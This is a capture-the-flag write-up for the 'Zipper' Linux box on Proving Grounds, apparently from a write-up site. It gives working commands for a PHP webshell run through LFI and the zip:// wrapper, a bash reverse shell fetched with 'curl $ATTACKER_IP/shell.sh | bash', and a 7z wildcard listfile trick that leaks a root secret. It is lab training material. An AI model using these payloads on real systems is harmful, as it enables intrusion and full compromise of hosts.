# Zipper Writeup - Proving Grounds

> Hard Linux box chaining a file upload with an LFI via the zip:// wrapper for a www-data shell, then abusing a 7z wildcard in a root cron job to leak a secret that doubles as the root password.

- **URL:** https://hackindex.io/writeups/zipper
- **Platform:** Proving Grounds
- **Difficulty:** Hard
- **Operating system:** Linux
- **Tags:** lfi, file-upload, webshell, cron-abuse, wildcard-injection, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Zipper chains a file upload with a local file inclusion to execute PHP smuggled inside a zip archive through the `zip://` wrapper, for a shell as `www-data`. A root cron job that compresses uploads with `7z` is then tricked, via a symlink and a crafted list file, into leaking a root-owned secret that doubles as the root password.

## Reconnaissance

### Nmap

Scan the target.

```bash
nmap $TARGET_IP -sCV
# PORT    STATE  SERVICE VERSION
# 22/tcp  open   ssh     OpenSSH 8.2p1 Ubuntu
# 80/tcp  open   http    Apache httpd 2.4.41 (Ubuntu) - "Zipper"
# 873/tcp open   rsync
```

The web app on port 80 has an upload page. Its home link reveals how pages are loaded.

## Exploitation

### LFI discovery

The home button links to `index.php?file=home`, and `.php` is appended automatically to whatever the `file` parameter holds. Confirm it with the PHP filter wrapper to read the script’s own source.

```bash
curl "http://$TARGET_IP/index.php?file=php://filter/convert.base64-encode/resource=index"
# <?php
# $file = $_GET['file'];
# if(isset($file)) { include("$file".".php"); }
# else { include("home.php"); }
# ?>
```

Confirmed: the include always appends `.php`, which normally would block including a raw payload file. The upload feature plus zip archives gets around that.

### LFI + zip upload RCE

Create a small PHP backdoor.

```
<?php echo system($_GET['cmd']); ?>
```

Upload it through the web app’s upload feature, which stores it inside a zip archive under `uploads/`.

```bash
curl -F "file=@exploit.php" http://$TARGET_IP/upload.php
# uploads/upload_1627661999.zip
```

Include the zipped PHP file through the LFI using PHP’s `zip://` wrapper, which does not require a `.php` extension on the archive member itself.

```bash
curl "http://$TARGET_IP/index.php?file=zip://uploads/upload_1627661999.zip%23exploit&cmd=whoami"
# www-data
```

Code execution confirmed. Host a reverse-shell script and trigger it the same way.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
echo "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'" > shell.sh
python3 -m http.server 80
```

```bash
curl -G "http://$TARGET_IP/index.php" --data-urlencode "file=zip://uploads/upload_1627661999.zip#exploit" --data-urlencode "cmd=curl $ATTACKER_IP/shell.sh | bash"
# www-data@zipper:/var/www/html$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data` and `local.txt`.

## Privilege Escalation

### 7z wildcard injection in a root cron job

A root cron job runs a backup script every minute.

```bash
cat /etc/crontab
# * * * * * root bash /opt/backup.sh
```

```bash
cat /opt/backup.sh
# #!/bin/bash
# password=`cat /root/secret`
# cd /var/www/html/uploads
# rm *.tmp
# 7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
```

The script compresses every `*.zip` in the uploads directory with `7za`, using `/root/secret` as the archive password. The unquoted wildcard is exploitable: [7z’s listfile feature](https://book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks#7z) can be abused to force it to read an arbitrary file and leak it into the error log. Create a symlink to the secret named like a zip file, and a matching listfile marker for it.

```bash
ln -s /root/secret /var/www/html/uploads/enox.zip
touch /var/www/html/uploads/@enox.zip
```

Prefixing `enox.zip` with `@` makes 7z treat it as a listfile. Since the target of the symlink is not itself a valid zip filename pattern, 7z emits an error naming the resolved path. Wait for the cron job to fire, then read the log.

```bash
cat /opt/backups/backup.log
# /root/secret : $ROOT_PASSWORD
```

The leaked value is also the root password.

```bash
su root
# Password: $ROOT_PASSWORD
# root@zipper:/var/www/html/uploads# id
# uid=0(root) gid=0(root) groups=0(root)
```

The 7z wildcard trick leaks the root secret, which doubles as a valid login, giving a root shell.

Related

## References

- [HackTricks - Wildcards Spare Tricks (7z)](https://book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks#7z) - 7z wildcard listfile abuse to force an arbitrary file read into an error message.
- [HackTricks - LFI via Zip File Upload](https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-zip-fie-upload) - LFI to RCE by including a PHP payload inside an uploaded zip via the zip:// wrapper.
